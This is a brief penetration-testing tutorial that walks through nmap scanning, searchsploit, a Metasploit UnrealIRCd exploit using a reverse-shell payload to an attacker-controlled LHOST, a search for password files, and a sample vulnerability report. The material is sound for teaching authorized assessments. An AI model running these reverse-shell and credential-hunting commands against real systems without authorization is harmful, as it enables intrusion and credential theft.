Pentest Infrastructure

Is security assessments of devices on a network. These include servers, printers, firewalls, or any other device with a network interface that can be accessed over the Internet or a LAN.

Basic Methodology

• Enumeration
• Vulnerability analysis
• Initial access
• Privilege escalation
• Reporting

Enumeration

nmap -sC -sV ip_target

Vulnerability Analysis

Searchsploit is a command-line tool that lets you search Exploit-DB's offline database of public exploits and vulnerability disclosures directly from your terminal.

searchsploit openssh

Gaining a Foothold

Using Metasploit

>msfconsole
>search unrealircd
    >use 0  
    >show options
set RHOSTS IP_RHOST

I still need a payload for this exploit to run. I can list available payloads with show payloads.

Since I don't know much about my target or what software it has installed, the safest course is to use a Unix reverse generic payload.

set payload cmd/unix/reverse

Now, if I run show options again, I'll see that LHOST and LPORT are required for this payload.

set LHOST 10.114.118.195
set LPORT 443

Post-Explotation

Privilege Escalation

This command will attempt to find all files on the target system that contain the word password in their name. 2>/dev/null will suppress errors.

find / -name password* 2>/dev/null

Reporting

First of all, I should keep in mind that all the client will ever see of my work is your report. I could have the pentest of your life in which you own all the ATMs in a bank and become its domain admin, but if your report is bad, then it means the pentest was bad.

• A cover page with a title, your name, and email address, and version control.
• A table of contents (Optional).
• An executive summary, aimed at the manager who requested the engagement, explaining what was achieved in non-technical terms.
• A technical summary aimed at the engineering manager, so they understand the impact and can prioritize accordingly (Optional).
• A table of all vulnerabilities found, ordered by severity, aimed at managers and engineers, again to prioritize accordingly.
• Detailed exploitation section, where each vulnerability and its impact are explained, exploitation steps and proof are shown, and recommendations for mitigations are given. This is aimed at engineers who will remediate your findings.

Example for the example below:

Title: Root Password Stored in Plaintext

Severity: Critical

Description: The root user's password was found stored in plaintext within the file /etc/password.txt. This file was readable by low-privileged users, allowing any user with shell access to retrieve the root credentials and fully compromise the system.

Exploitation Steps:

• Obtain a low-privileged shell on the target system.
• Read the contents of /etc/password.txt using cat /etc/password.txt.
• Use the discovered root password to escalate privileges via ssh root@IP.

Recommendation: Remove the plaintext password file immediately and rotate the root password. Credentials should never be stored in plaintext on the filesystem. Implement a secrets management solution or use properly configured system authentication mechanisms (such as /etc/shadow with strong hashing). Additionally, enforce the principle of least privilege to restrict file access permissions.